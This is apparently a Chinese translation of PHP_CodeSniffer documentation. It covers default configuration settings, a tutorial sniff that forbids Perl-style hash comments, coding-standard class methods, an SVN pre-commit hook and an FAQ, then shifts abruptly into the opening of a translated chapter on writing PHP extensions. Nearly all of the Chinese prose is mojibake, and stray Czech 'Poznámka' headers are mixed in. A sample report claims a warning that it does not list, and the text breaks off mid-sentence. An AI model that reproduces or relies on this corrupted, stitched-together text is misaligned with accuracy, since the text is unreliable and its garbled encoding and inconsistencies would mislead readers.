+Php_CodeSniffer的默认代ç è§„范为 PEAR 。当检查时未指定代ç è§„范则使用默认。修改默认代ç è§„范的方å¼å¦‚下: + +<code> +Setting the default standard to be the Zend coding standard + + + +$ phpcs --config-set default_standard Zend +</code> + +è®¾ç½®æŠ¥å‘Šé»˜è®¤æ ¼å¼ +PHP_CodeSniffer默认将输出详情报告,修改报告默认格å¼æ–¹å¼å¦‚下。 + +<code> +Setting the default report format to be the summary report + + + +$ phpcs --config-set report_format summary +</code> + +éšè—警告 +PHP_CodeSniffer默认将输出警告和错误。你å¯ä»¥ä½¿ç”¨ +-n + 选项æ¥æŠ‘制警告的显示,也å¯ä»¥é€šè¿‡ä»¥ä¸‹è®¾ç½®ä½¿å…¶é»˜è®¤ä¸æ˜¾ç¤ºã€‚ + +<code> +Hiding warnings by default + + + +$ phpcs --config-set show_warnings 0 +</code> + +== Poznámka: == +默认éšè—警告时。你å¯ä»¥ä½¿ç”¨ +-w + æ¥æ˜¾ç¤ºè­¦å‘Šã€‚ + +Changing the Default Severity Levels +<note warning> +译者使用的 CodeSniffer 1.2.2 未测试出该功能。 + +</note> +By default, PHP_CodeSniffer will show all errors and warnings with a severity level of 5 or greater. You can change these settings for a single script run by using the --severity, --error-severity and --warning-severity command line arguments, but you can also change the default settings if you prefer. + +<code> +Changing the default severity level to show all errors and warnings + + + +$ phpcs --config-set severity 1 +</code> + +<code> +Changing the default severity levels to show all errors but only some warnings + + + +$ phpcs --config-set error_severity 1 +$ phpcs --config-set warning_severity 8 +</code> + +== Poznámka: == +Setting the severity of warnings to 0 is the same as using the -n command line argument. If you set the severity of errors to 0 PHP_CodeSniffer will not show any errors, which may be useful if you just want to show the warnings. + +设置报告默认宽度 +PHP_CodeSniffer默认报告宽度为80个字符(基于å±å¹•å®½åº¦ï¼‰ï¼Œå½“é‡åˆ°é•¿çš„路径å或信æ¯æ述时,其将会被截断分行。为了é¿å…ä¿¡æ¯è¢«åˆ†è¡Œï¼Œä½ å¯ä»¥ä½¿ç”¨ + -report-width + æ¥ä¿®æ”¹æŠ¥å‘Šå®½åº¦ã€‚也å¯ä¿®æ”¹é»˜è®¤æŠ¥å‘Šå®½åº¦ï¼Œæ–¹å¼å¦‚下。 + +<code> +Setting the default report width to be 120 characters + + + +$ phpcs --config-set report_width 120 +</code> + +设置制表符默认宽度 +默认情况下 PHP_CodeSniffer ä¸ä¼šå°†ä»£ç ä¸­çš„制表符转æ¢ä¸ºç©ºæ ¼ä»¥ä¾›æ£€æŸ¥ã€‚除éžåœ¨å‘½ä»¤ä¸­æŒ‡å®šäº† --tab-width 。 + + +ä½ å¯ä»¥è®¾ç½®é»˜è®¤åˆ¶è¡¨ç¬¦å®½åº¦ï¼Œå¼ºåˆ¶å°†åˆ¶è¡¨ç¬¦è½¬æ¢ä¸ºç©ºæ ¼ï¼š + + +<code> +Setting the default tab width to be 4 spaces + + + +$ phpcs --config-set tab_width 4 +</code> + +== Poznámka: == +当设置制表符宽度åŽï¼Œå¯ä»¥ä½¿ç”¨ä¸€ä¸‹å‘½ä»¤è¿›è¡Œå–消: + +<code> +Disabling the replacement of tabs with spaces + +$ phpcs --tab-width=0 /path/to/code + +</code> + +===== 其他代ç è§„范é…ç½® ===== +设置 JSLint 路径 +Squiz 代ç è§„范,包å«ä¸€ä¸ªä½¿ç”¨ +**JSLint**检查 Javascript çš„ sniff。JSLint是一款Jsé™æ€æ£€æŸ¥å·¥å…·ã€‚使用 +jslint_path + é…置选项去设置它的目录: + + +<code> +Setting the path to JSLint + + +$ phpcs --config-set jslint_path /path/to/jslint.js +</code> + +JSLint是纯Javascriptæºç ï¼Œéœ€è¦ä½¿ç”¨ +**Rhino** 去执行它。 使用 +rhino_path + é…置选项去设置它的目录: + + +<code> +Setting the path to Rhino + + +$ phpcs --config-set rhino_path /path/to/rhino +</code> + +设置 JavaScript Lint 路径 +åŒJSLint一样, +**JavaScript Lint** 也是一款Jsé™æ€æ£€æŸ¥å·¥å…·ã€‚使用 +jsl_path + é…置选项去设置它的目录: + +<code> +Setting the path to JavaScript Lint + + +$ phpcs --config-set jsl_path /path/to/jsl +</code> + +===== Zend ç¼–ç è§„范设置 ===== +设置Zend Code Analyzer 路径 +Zend ç¼–ç è§„范å¯ä½¿ç”¨ Zend Studio 下的 Zend Code Analyzer 工具æ¥å¯¹Php进行分æžã€‚使用 +zend_ca_path + é…置选项去设置它的目录: + +<code> +Setting the path to the Zend Code Analyzer + + + +$ phpcs --config-set zend_ca_path /path/to/ZendCodeAnalyzer +</code> + +====== 自定义代ç è§„范 ====== +ä»‹ç» +本章中我们将建立一个新的代ç è§„范(仅有一个 sniff 文件),用于检测代ç ä¸­Perl风格的注释。 + +建立代ç è§„范目录 +代ç è§„范是一个有规范å­ç›®å½•ç»“构的目录。所有的 +sniff + 文件为独立的 +class + 文件,且必须包å«åœ¨ä»£ç è§„范目录内。 下é¢æˆ‘们æ¥å»ºç«‹ä¸€ä¸ªå…·æœ‰ä»£ç è§„范目录结构的目录: + + +<code> +$ mkdir MyStandard +$ mkdir MyStandard/Sniffs +</code> + +== Poznámka: == +代ç è§„范目录å¯ä»¥æ”¾ç½®åœ¨PHP_CodeSniffer目录之外,但当使用 +-i + 选项时其将ä¸ä¼šè¢«æ˜¾ç¤ºã€‚如果你需è¦åœ¨åˆ—出代ç è§„范支æŒåˆ—表时列出该规范,请按以下示例目录进行安排: + +<code> +$ cd /path/to/PHP_CodeSniffer/CodeSniffer/Standards +$ mkdir MyStandard +$ mkdir MyStandard/Sniffs +</code> + +MyStandard代表我们的代ç è§„范。 å­ç›®å½• +Sniffs + 用æ¥å­˜å‚¨ +sniff + 文件。 + + +该目录结构建立完æˆæ—¶ï¼Œæˆ‘们开始建立 +class + 文件。 该文件å¯è®© PHP_CodeSniffer è¯†åˆ«å‡ºè¯¥æ–‡ä»¶å¤¹åŒ…å« sniffs ,且从中获å–其他信æ¯ï¼ˆå¦‚支æŒè¯­è¨€ï¼‰ã€‚ + + +<code> +$ cd MyStandard +$ touch MyStandardCodingStandard.php +</code> + +MyStandardCodingStandard.php 文件内容如下: + + +<code> +<?php +/** + * MyStandard Coding Standard. + * + * PHP version 5 + * + * @category PHP + * @package PHP_CodeSniffer + * @author Your Name <you@domain.net> + * @license http://matrix.squiz.net/developer/tools/php_cs/licence BSD Licence + * @version SVN: $Id: coding-standard-tutorial.xml,v 1.9 2008-10-09 15:16:47 cweiske Exp $ + * @link http://pear.php.net/package/PHP_CodeSniffer + */ + +if (class_exists('PHP_CodeSniffer_Standards_CodingStandard', true) === false) { + throw new PHP_CodeSniffer_Exception('Class PHP_CodeSniffer_Standards_CodingStandard not found'); +} + +/** + * MyStandard Coding Standard. + * + * @category PHP + * @package PHP_CodeSniffer + * @author Your Name <you@domain.net> + * @license http://matrix.squiz.net/developer/tools/php_cs/licence BSD Licence + * @version Release: @package_version@ + * @link http://pear.php.net/package/PHP_CodeSniffer + */ +class PHP_CodeSniffer_Standards_MyStandard_MyStandardCodingStandard + extends PHP_CodeSniffer_Standards_CodingStandard +{ + +}//end class +?> +</code> + +== Poznámka: == +代ç è§„范类å¯ä»¥ç•™ç©ºã€‚该类å¯ä¾›è¦†ç›–的方法å¯ä»¥æŸ¥çœ‹å…³äºŽ +**代ç è§„范类** çš„æ述。 + +建立 Sniff +Sniff 文件必须是å•ç‹¬çš„文件,其å称è¦æ¸…晰的表述其规范内容,且必须以 +Sniff.php + 作为文件å结尾。 当å‰è¦å»ºç«‹çš„ +sniff + å称为 DisallowHashCommentsSniff.php 放置在 Sniffs/Commenting 目录,如下: + + +<code> +$ cd Sniffs +$ mkdir Commenting +$ touch Commenting/DisallowHashCommentsSniff.php +</code> + +== Poznámka: == +Sniffs 文件夹å­ç›®å½•å‘½å并没有特殊的è¦æ±‚,便于查阅易于修改å³å¯ã€‚ + +sniff 类需è¦ç»§æ‰¿ PHP_CodeSniffer_Sniff 接å£ï¼Œä»¥ä¾¿ PHP_CodeSniffer 识别和执行。 PHP_CodeSniffer_Sniff 接å£å®šä¹‰äº†ä¸¤ä¸ªæ–¹æ³•ï¼Œ +register() + å’Œ +process() + 。 + + +register() å’Œ process() 方法 +register() + 方法用æ¥æ³¨å†Œéœ€è¦è¿›è¡ŒéªŒè¯çš„标志符。当é‡åˆ°å…¶ä¸­ä¸€ä¸ªæ ‡å¿—符的时候便执行 +process() + 。在 +process() + 方法中,你å¯ä»¥ä½¿ç”¨å½“å‰æ–‡ä»¶çš„ PHP_CodeSniffer_File 对象和相关的ä½ç½®æ ˆä¿¡æ¯ã€‚ + + +我们的例å­ä¸­ï¼Œåªéœ€è¦éªŒè¯å•è¡Œæ³¨é‡Šã€‚ PHP_CodeSniffer 使用 token_get_all() 函数æ¥èŽ·å–标志符,其区分了注释和文档注释。因此 register() 方法åªéœ€è¦è€ƒè™‘ T_COMMENT 。 + + +<note warning> +译者注:注释 T_COMMENT ( +# + , +// + ) ,多行注释 T_ML_COMMENT ( + /* */ + 仅用于 Php4,Php5 识别为 T_COMMENT),文档注释 T_DOC_COMMENT (PHPDoc 风格的注释,仅用于 PHP 5。 +/** */ +)。实际上我们需è¦åœ¨Php5中考虑多行注释,å³å°† +/* */ + 排除。 + +</note> +标志符栈 +sniff + å¯ä»¥èŽ·å–使用 +PHP_CodeSniffer_File + 对象的 +getTokens() + 方法æ¥èŽ·å–标志符栈的信æ¯ã€‚该方法返回一个以标志符出现ä½ç½®ä¸ºç´¢å¼•çš„数组。 æ¯ä¸ªæ ‡å¿—符都由一个数组记录了 +code +, +type + å’Œ +content + 等信æ¯ã€‚ +type + 是标志符常é‡å称 (例如: 注释的标志符å称为 'T_COMMENT' ), +code + 是 +type + çš„å”¯ä¸€æ•´æ•°å€¼ç´¢å¼•ï¼Œå³ +code + 与 +type + 所对应的标志符是一致的。 +content + 是对应的æºç ç‰‡æ®µã€‚ + +== Poznámka: == +部分标志符有多个索引。具体信æ¯å¯ä»¥åœ¨ +PHP/CodeSniffer/File.php + 注释中获å–。 + +报告错误 +当检查出错误时 +sniff + å¯ä»¥ä½¿ç”¨ +PHP_CodeSniffer_File + 对象的 +addError() + 方法进行报告 。其中第一个å‚数是对错误的æ述,第二个å‚数是对错误ä½ç½®çš„æ述。当错误并ä¸ä¸¥é‡æ—¶æˆ‘们å¯ä»¥ä½¿ç”¨ +addWarning() + 方法进行警告。 + +DisallowHashCommentsSniff.php +DisallowHashCommentsSniff.php + 的内容如下: + +<code> +<?php +/** + * This sniff prohibits the use of Perl style hash comments. + * + * PHP version 5 + * + * @category PHP + * @package PHP_CodeSniffer + * @author Your Name <you@domain.net> + * @license http://matrix.squiz.net/developer/tools/php_cs/licence BSD Licence + * @version SVN: $Id: coding-standard-tutorial.xml,v 1.9 2008-10-09 15:16:47 cweiske Exp $ + * @link http://pear.php.net/package/PHP_CodeSniffer + */ + +/** + * This sniff prohibits the use of Perl style hash comments. + * + * An example of a hash comment is: + * + * <code> + * # This is a hash comment, which is prohibited. + * $hello = 'hello'; + * </code> + * + * @category PHP + * @package PHP_CodeSniffer + * @author Your Name <you@domain.net> + * @license http://matrix.squiz.net/developer/tools/php_cs/licence BSD Licence + * @version Release: @package_version@ + * @link http://pear.php.net/package/PHP_CodeSniffer + */ +class MyStandard_Sniffs_Commenting_DisallowHashCommentsSniff implements PHP_CodeSniffer_Sniff +{ + + + /** + * Returns the token types that this sniff is interested in. + * + * @return array(int) + */ + public function register() + { + return array(T_COMMENT); + + }//end register() + + + /** + * Processes the tokens that this sniff is interested in. + * + * @param PHP_CodeSniffer_File $phpcsFile The file where the token was found. + * @param int $stackPtr The position in the stack where + * the token was found. + * + * @return void + */ + public function process(PHP_CodeSniffer_File $phpcsFile, $stackPtr) + { + $tokens = $phpcsFile->getTokens(); + if ($tokens[$stackPtr]['content']{0} === '#') { + $error = 'Hash comments are prohibited'; + $phpcsFile->addError($error, $stackPtr); + } + + }//end process() + + +}//end class + +?> +</code> + +== Poznámka: == +PHP_CodeSniffer 中几乎所有的 sniff 都仅用于检测 PHP 。你å¯ä»¥æŒ‡å®šå½“å‰ sniff 所支æŒçš„语言列表,ä¾‹å¦‚å¦‚æžœæ”¯æŒ PHP å’Œ JavaScript 之一。 ä½ å¯ä»¥åœ¨ sniff 增加 $supportedTokenizers æˆå‘˜å˜é‡ 。 + + +å‘ sniff 中添加的代ç å¦‚下: + + +<code> +<?php +/** + * A list of tokenizers this sniff supports. + * + * @var array + */ +public $supportedTokenizers = array( + 'PHP', + 'JS', + ); +?> +</code> + +结果 +现在我们å¯ä»¥å»ºç«‹ä¸€ä¸ªå«æœ‰ +Perl +风格注释的 +PHP +æºç æ¥æµ‹è¯•åˆšå†™å¥½çš„规范: + + +测试文件如下: + + +<code> +<?php + +# Check for valid contents. +if ($obj->contentsAreValid($array)) { + $value = $obj->getValue(); + + # Value needs to be an array. + if (is_array($value) === false) { + # Error. + $obj->throwError(); + exit(); + } +} + +?> +</code> + +检测结果如下,å¯ä»¥çœ‹åˆ°å‡ºçŽ°äº† 3 个错误信æ¯ï¼š + + +<code> +$ phpcs --standard=/path/to/MyStandard Test.php + +FILE: Test.php +-------------------------------------------------------------------------------- +FOUND 3 ERROR(S) AND 1 WARNING(S) AFFECTING 3 LINE(S) +-------------------------------------------------------------------------------- + 3 | ERROR | Hash comments are prohibited + 7 | ERROR | Hash comments are prohibited + 9 | ERROR | Hash comments are prohibited +-------------------------------------------------------------------------------- +</code> + +== Poznámka: == +以上命令由于我们的代ç è§„范目录å没有建立在 PHP_CodeSniffer 的主目录结构内,所以我们使用了ç»å¯¹è·¯å¾„。 如果将代ç è§„范目录建立在 +PHP/PHP_CodeSniffer/Standards + 之下,则åªéœ€è¦è§„范å称å³å¯ï¼š + +<code> +$ phpcs --standard=MyStandard Test.php +</code> + +====== 代ç è§„范类 ====== +ä»‹ç» +æ¯ä¸ªä»£ç è§„范都拥有一个主代ç è§„范类。 该类å¯è®© PHP_CodeSniffer è¯†åˆ«å‡ºè¯¥æ–‡ä»¶å¤¹åŒ…å« sniffs (å³è¯¥ç›®å½•ä¸ºä»£ç è§„范目录),且从中获å–其他信æ¯ï¼ˆå¦‚支æŒè¯­è¨€ï¼‰ã€‚下文将é˜è¿°å¦‚何覆盖代ç è§„范类中的方法,æ¥åˆ›å»ºè‡ªå·±çš„代ç è§„范类。 + +getIncludedSniffs() +该方法用于声明除了 sniffs 文件夹中规定的规范外,还包å«å…¶ä»–规范中的 sniff 类或者æŸä¸ª sniff 文件夹,甚至整个代ç è§„范。 + + +下例中引入了整个 PEAR 规范, Generic 代ç è§„范的 MultipleStatementAlignment sniff 类。还有 Generic 代ç è§„范中 Functions 类别的所有 sniff 类。 + + +<code> +<?php +/** + * Return a list of external sniffs to include with this standard. + * + * The MyStandard coding standard uses some generic sniffs, and + * the entire PEAR coding standard. + * + * @return array + */ +public function getIncludedSniffs() +{ + return array( + 'PEAR', + 'Generic/Sniffs/Formatting/MultipleStatementAlignmentSniff.php', + 'Generic/Sniffs/Functions', + ); + +}//end getIncludedSniffs() +?> +</code> + +== Poznámka: == +当引入整个代ç è§„范时,也引入了该规范引入的其他 sniff 或规范。如 PEAR 规范从 Generic 规范中引入了æŸäº› sniff ,所以我们在引入整个 PEAR 规范时也引入了这些 sniff 。这使我们å¯ä»¥åŸºäºŽå·²æœ‰ä»£ç è§„范快速的建立新的代ç è§„范。 + +getExcludedSniffs() +该方法å¯ä»¥ä»Ž getIncludedSniffs() 方法引入的 sniff 类中排除我们ä¸éœ€è¦ä½¿ç”¨çš„ sniff 类。åŒæ ·çš„,我们å¯ä»¥æŽ’除å•ç‹¬çš„ sniff ç±»ã€æ–‡ä»¶å¤¹æˆ–整个规范。 + + +下例中我们引入了整个 PEAR 代ç è§„范,但排除了 ControlSignature sniff类。 + + +<code> +<?php +/** + * Return a list of external sniffs to include with this standard. + * + * The MyStandard coding standard uses all PEAR sniffs except one. + * + * @return array + */ +public function getIncludedSniffs() +{ + return array( + 'PEAR', + ); + +}//end getIncludedSniffs() + + +/** + * Return a list of external sniffs to exclude from this standard. + * + * The MyStandard coding standard uses all PEAR sniffs except one. + * + * @return array + */ +public function getExcludedSniffs() +{ + return array( + 'PEAR/Sniffs/ControlStructures/ControlSignatureSniff.php', + ); + +}//end getExcludedSniffs() +?> +</code> + +====== 使用Subversion pre-commit Hook ====== +ä»‹ç» +== Poznámka: == +使用 SVN pre-commit hook ä¾èµ–其他工具,详情å‚è§ +**准备工具** 章节。 + +Pre-commit hook 是版本控制工具 +**Subversion** 的一个钩å­ï¼ˆhook)。它在事务完æˆæ交之å‰è¿è¡Œã€‚该 hook å¯ä»¥åœ¨ä»£ç æ交到版本库å‰ä½¿ç”¨ PHP_CodeSniffer 对其检查。当å‘现错误时终止æ交,并给出相关错误报告,以确ä¿å¼€å‘者æ交到版本库的代ç éƒ½ç¬¦åˆä»£ç è§„范。 + +<code> +Sample pre-commit output + + +$ svn commit -m "Test" temp.php +Sending temp.php +Transmitting file data .svn: Commit failed (details follow): +svn: 'pre-commit' hook failed with error output: + +FILE: temp.php +--------------------------------------------------------------- +FOUND 1 ERROR(S) AND 0 WARNING(S) AFFECTING 1 LINE(S) +--------------------------------------------------------------- + 2 | ERROR | Missing file doc comment +-------------------------------------------------------------- +</code> + +é…ç½® pre-commit Hook +编辑 /path/to/PHP_CodeSniffer/scripts/phpcs-svn-pre-commit ,将第一行中 @php_bin@ 替æ¢ä¸ºPHP执行文件地å€ã€‚ 如: #!@php_bin@ 替æ¢ä¸ºäº† #!/usr/bin/php. + + +检查 svnlook 的地å€ï¼ˆéžå¿…须); + + +<code> +Changing the path to svnlook + + +define('PHP_CODESNIFFER_SVNLOOK', '/usr/bin/svnlook'); +</code> + +在Subversion hook 目录下的 pre-commit 文件中加入一下命令: + + +<code> +Adding the pre-commit hook to the Subversion config file + + +/path/to/PHP_CodeSniffer/scripts/phpcs-svn-pre-commit "$REPOS" -t "$TXN" >&2 || exit 1 +</code> + +在这里你å¯ä»¥åƒä½¿ç”¨ phpcs 那样加入其他设置,如设置制表符宽度ã€æŒ‡å®šä»£ç è§„范等。 + + +<code> +Adding the pre-commit hook to the Subversion config file + + +/path/to/PHP_CodeSniffer/scripts/phpcs-svn-pre-commit --standard=Squiz --tab-width=4 "$REPOS" -t "$TXN" >&2 || exit 1 +</code> + +====== FAQ ====== +PHP_CodeSniffer是一个覆盖率或å•å…ƒæµ‹è¯•å·¥å…·å—? +ä¸æ˜¯çš„。 PHP_CodeSniffer 是用æ¥æ£€æµ‹ä½ çš„代ç æ˜¯å¦éµä»ŽæŒ‡å®šçš„代ç è§„范,并ä¸æµ‹è¯•ä»£ç æ˜¯å¦è¿è¡Œæ­£å¸¸ã€‚ + +== Poznámka: == +译者注:实际上 PHP_CodeSniffer 根本ä¸ä¼šåŽ»æ‰§è¡Œæºä»£ç ã€‚ + +为什么è¦ç”¨PHP_CodeSniffer? +如果你想确ä¿è‡ªå·±çš„代ç éµä»Žäº†æŸä»£ç è§„范,PHP_CodeSniffer å¯ä»¥ç®€å•å¿«é€Ÿçš„办到。PHP_CodeSniffer 是代ç å¤æŸ¥æ—¶è§„范检测的ç»ä½³é€‰æ‹©ï¼Œèƒ½å¤ŸèŠ‚çœå¤§é‡æˆæœ¬ï¼ˆæ—¶é—´ï¼ŒäººåŠ›â€¦â€¦ï¼‰ã€‚ + +== Poznámka: == +ç¼–ç è§„范å¯ä»¥ä½¿ä»£ç æ˜“于阅读和维护,特别是在åŒä¸€é¡¹ç›®æ‹¥æœ‰å¤šä¸ªå¼€å‘者时。如果你还没有使用任何代ç è§„范,请考虑现在就开始å§ã€‚ + +PHP_CodeSniffer 的分æžæ¥ç¡®ä¿ä»£ç å¯ä»¥æ‰§è¡Œå—? +ä¸æ˜¯çš„。PHP_CodeSniffer 并没有真正的解æžä½ çš„代ç ï¼Œæ‰€ä»¥ä¹Ÿå°±æ— æ³•å‡†ç¡®çš„报告出解æžé”™è¯¯æ•°é‡ç­‰ä¿¡æ¯ã€‚ PHP_CodeSniffer 仅会报告由 sniff 检测出的潜在错误。 + +== Tip: == +ä½ å¯ä»¥ä½¿ç”¨ -l (å°å†™ L) 选项æ¥æ£€æµ‹Phpæºç çš„语法错误: + +<code> +$ php -l /path/to/code/myfile.inc +No syntax errors detected in /path/to/code/myfile.inc +</code> + +<code> +译者注: 如下示例。phpcs并没有å‘现 PHP 文件中的语法错误,而åªæ示未å‘现文档。 + +myfile.php +<?php +TOKEN ERROR TEST; +?> + +$ phpcs myfile.php +-------------------------------------------------------------------------------- +FOUND 1 ERROR(S) AND 0 WARNING(S) AFFECTING 1 LINE(S) +-------------------------------------------------------------------------------- + 2 | ERROR | Missing file doc comment +-------------------------------------------------------------------------------- + +</code> + +自带的代ç è§„范并ä¸é€‚åˆæˆ‘,能自己定制代ç è§„范å—? +当然å¯ä»¥ã€‚PHP_CodeSniffer的核心功能是æ供检测代ç è§„èŒƒçš„æ‰§è¡ŒçŽ¯å¢ƒã€‚åŒ PHP_CodeSniffer 一åŒå‘布的有多个范例代ç è§„范,å¯ä»¥å¸®åŠ©å¼€å‘人员æ¥å®žçŽ°è‡ªå·±çš„规范。如果你需è¦å¼€å‘自己的代ç è§„范,å¯ä»¥æŸ¥é˜… +**自定义代ç è§„范** 章节。 + +PHP_CodeSniffer 是怎么报告错误的,错误怎么越解决越多了? +有时在解决已有错误时会产生其他的错误。例如 PHP_CodeSniffer å¯èƒ½ä¼šæ示你 IF 语å¥éœ€è¦æœ‰èŠ±æ‹¬å·ï¼Œå½“你添加上时 PHP_CodeSniffer åˆå¯èƒ½æ示你添加的ä½ç½®æˆ–缩进有问题。 + + +所以你应该在解决错误之åŽå†æ¬¡æ£€æŸ¥ï¼ŒçŸ¥ç›´åˆ°å®Œå…¨é€šè¿‡ã€‚ + + +为什么 PHP_CodeSniffer ä¸ç›´æŽ¥ä¾ç…§æŠ¥å‘Šä¸­çš„建议修改代ç ï¼Ÿ +无论我们有多么相信 PHP_CodeSniffer 检查æ„è§çš„å¯é æ€§ï¼Œä½†åœ¨äº²è‡ªå¤æŸ¥ä¹‹å‰ç”¨ç¨‹åºåŽ»è‡ªåŠ¨ä¿®æ”¹æºç éƒ½æ˜¯éžå¸¸é²èŽ½çš„。在抱怨得é€ä¸ªæ‰‹åŠ¨ä¿®æ”¹é‚£äº›ä»£ç å‰ï¼Œä¸ºä»€ä¹ˆä¸çœ‹ä»¥ä¸‹å‡ ç‚¹æ‰‹åŠ¨ä¿®æ”¹ç»™æˆ‘们带æ¥çš„好处呢。 + + +手动改进代ç å¯èƒ½å¸¦æ¥çš„好处: +å¼€å‘者会更加熟悉代ç è§„范,å‡å°‘以åŽçš„出错率。 + +å¯ä»¥ç¡®è®¤ PHP_CodeSniffer 是å¦åƒé¢„期的那样正确执行。 + +å¼€å‘者å¯ä»¥æŽ’除一些确实ä¸èƒ½éµä»Žä»£ç è§„范的特殊片段。 + +所以在当你期望 PHP_CodeSniffer 直接去修å¤ä»£ç æ—¶ï¼Œæˆ–许应该考虑下加深对代ç è§„范的学习并更严格的执行会更好些。 + + +== Poznámka: == +无论 PHP_CodeSniffer 建议你修改的部分有多简å•ï¼Œç”šè‡³çœ‹èµ·æ¥å¾®ä¸è¶³é“,但在æ交到版本库或å‘布之å‰éƒ½åº”该å†æ¬¡è¿›è¡Œæ£€æŸ¥ã€‚ + +PHP_CodeSniffer 使用什么æ¥è§£æžæˆ‘的代ç ï¼Ÿ +在分æžPHP文件时 PHP_CodeSniffer 使用 +**PHP内置分è¯å‡½æ•°** æ¥åˆ†æžä½ çš„代ç ã€‚它æ供了关于æºæ–‡ä»¶çš„大é‡ä¿¡æ¯ï¼Œå¦‚定义函数的花括å·ã€‚ + + +分æžå…¶ä»–类型的文件时 PHP_CodeSniffer 会使用自带的分è¯å™¨ã€‚该分è¯å™¨ä½¿ç”¨æˆ–模拟了PHP内置分è¯å™¨ã€‚这时分è¯æ“作å¯èƒ½ä¼šèŠ±è´¹æ›´é•¿çš„时间,但无论如何都会使分è¯åœ¨å„规范下正常应用。 + + +====== ä»‹ç» ====== +ä½œè€…ä»‹ç» +作者:Andi Gutmans, Stig Sæther Bakken, Derick Rethans + + +文章出处:<PHP 5 Power Programming> Chapter 15 (英文版下载: +**PHP + 5 Power Programming** ) + + +出版商:Prentice Hall PTR + + +ISBN:0-13-147149-X + + +出版日期:2004-10-27 + + +最åŽæ›´æ–°ï¼š2009-04-29 + + +ç¼–è¾‘ä»‹ç» +翻译:taft(taft at wjl.cn) ( +**http://blog.csdn.net/taft/archive/2006/02/10/596291.aspx**) + + +校对:laruence at yahoo.com.cn ( +**http://www.laruence.com/2009/04/28/719.html**) + + +简 介 +PHPå–å¾—æˆåŠŸçš„一个主è¦åŽŸå› ä¹‹ä¸€æ˜¯å¥¹æ‹¥æœ‰å¤§é‡çš„å¯ç”¨æ‰©å±•ã€‚webå¼€å‘者无论有何ç§éœ€æ±‚,这ç§éœ€æ±‚最有å¯èƒ½åœ¨PHPå‘行包里找到。PHPå‘行包包括支æŒå„ç§æ•°æ®åº“,图形文件格å¼ï¼ŒåŽ‹ç¼©ï¼ŒXML技术扩展在内的许多扩展。 + + +扩展API的引入使PHP3å–得了巨大的进展,扩展API机制使PHPå¼€å‘社区很容易的开å‘出几åç§æ‰©å±•ã€‚现在,两个版本过去了,APIä»ç„¶å’ŒPHP3时的éžå¸¸ç›¸ä¼¼ã€‚扩展主è¦çš„æ€æƒ³æ˜¯ï¼šå°½å¯èƒ½çš„从扩展编写者那里éšè—PHP的内部机制和脚本引擎本身,仅仅需è¦å¼€å‘者熟悉API。 + + +有两个ç†ç”±éœ€è¦è‡ªå·±ç¼–写PHP扩展。第一个ç†ç”±æ˜¯ï¼šPHP需è¦æ”¯æŒä¸€é¡¹å¥¹è¿˜æœªæ”¯æŒçš„技术。这通常包括包裹一些现æˆçš„C函数库,以便æä¾›PHP接å£ã€‚例如,如果一个å«FooBaseçš„æ•°æ®åº“已推出市场,你需è¦å»ºç«‹ä¸€ä¸ªPHP扩展帮助你从PHP里调用FooBaseçš„C函数库。这个工作å¯èƒ½ä»…由一个人完æˆï¼Œç„¶åŽè¢«æ•´ä¸ªPHP社区共享(如果你愿æ„çš„è¯ï¼‰ã€‚第二个ä¸æ˜¯å¾ˆæ™®éçš„ç†ç”±æ˜¯ï¼šä½ éœ€è¦ä»Žæ€§èƒ½æˆ–功能的原因考虑æ¥ç¼–写一些商业逻辑。 + + +如果以上的两个ç†ç”±éƒ½å’Œä½ æ²¡ä»€ä¹ˆå…³ç³»ï¼ŒåŒæ—¶ä½ æ„Ÿè§‰è‡ªå·±æ²¡æœ‰å†’险精神,那么你å¯ä»¥è·³è¿‡æœ¬ç« ã€‚ + + +本章教你如何编写相对简å•çš„PHP扩展,使用一部分扩展API函数。对于大多数打算开å‘自定义PHP扩展开å‘者而言,它å«æ¦‚了足够的资料。学习一门编程课程的最好方法之一就是动手åšä¸€äº›æžå…¶ç®€å•çš„例å­ï¼Œè¿™äº›ä¾‹å­æ­£æ˜¯æœ¬ç« çš„线索。一旦你明白了基础的东西,你就å¯ä»¥åœ¨äº’è”网上通过阅读文挡ã€åŽŸä»£ç æˆ–å‚加邮件列表新闻组讨论æ¥ä¸°å¯Œè‡ªå·±ã€‚因此,本章集中在让你如何开始的è¯é¢˜ã€‚在UNIX下一个å«ext_skel的脚本被用于建立扩展的骨架,骨架信æ¯ä»Žä¸€ä¸ªæ述扩展接å£çš„定义文件中å–得。因此你需è¦åˆ©ç”¨UNIXæ¥å»ºç«‹ä¸€ä¸ªéª¨æž¶ã€‚Windowså¼€å‘者å¯ä»¥ä½¿ç”¨Windows ext_skel_win32.php代替ext_skel。 + + +然而,本章关于用你开å‘的扩展编译PHP的指导仅涉åŠUNIX编译系统。本章中所有的对API的解释与UNIXå’ŒWindows下开å‘的扩展都有è”系。 + + +当你阅读完这章,你能学会如何 +建立一个简å•çš„商业逻辑扩展。 + +建议个C函数库的包裹扩展,尤其是有些标准C文件æ“作函数比如fopen() + +====== 快速开始 ====== +本节没有介ç»å…³äºŽè„šæœ¬å¼•æ“ŽåŸºæœ¬æž„造的一些知识,而是直接进入扩展的编ç è®²è§£ä¸­ï¼Œå› æ­¤ä¸è¦æ‹…心你无法立刻获得对扩展整体把æ¡çš„感觉。å‡è®¾ä½ æ­£åœ¨å¼€å‘一个网站,需è¦ä¸€ä¸ªæŠŠå­—符串é‡å¤n次的函数。下é¢æ˜¯ç”¨PHP写的例å­ï¼š + + +<code> +function self_concat($string, $n){ + $result = ""; +for($i = 0; $i < $n; $i++){ + $result .= $string; +} + return $result; +} + +self_concat("One", 3) returns "OneOneOne". + +self_concat("One", 1) returns "One". +</code> + +å‡è®¾ç”±äºŽä¸€äº›å¥‡æ€ªçš„原因,你需è¦æ—¶å¸¸è°ƒç”¨è¿™ä¸ªå‡½æ•°ï¼Œè€Œä¸”还è¦ä¼ ç»™å‡½æ•°å¾ˆé•¿çš„字符串和大值n。这æ„味ç€åœ¨è„šæœ¬é‡Œæœ‰ç›¸å½“巨大的字符串连接é‡å’Œå†…å­˜é‡æ–°åˆ†é…过程,以至显著地é™ä½Žè„šæœ¬æ‰§è¡Œé€Ÿåº¦ã€‚如果有一个函数能够更快地分é…大é‡ä¸”足够的内存æ¥å­˜æ”¾ç»“果字符串,然åŽæŠŠ$stringé‡å¤n次,就ä¸éœ€è¦åœ¨æ¯æ¬¡å¾ªçŽ¯è¿­ä»£ä¸­åˆ†é…内存。 + + +为扩展建立函数的第一步是写一个函数定义文件,该函数定义文件定义了扩展对外æ供的函数原形。该例中,定义函数åªæœ‰ä¸€è¡Œå‡½æ•°åŽŸå½¢self_concat() : + + 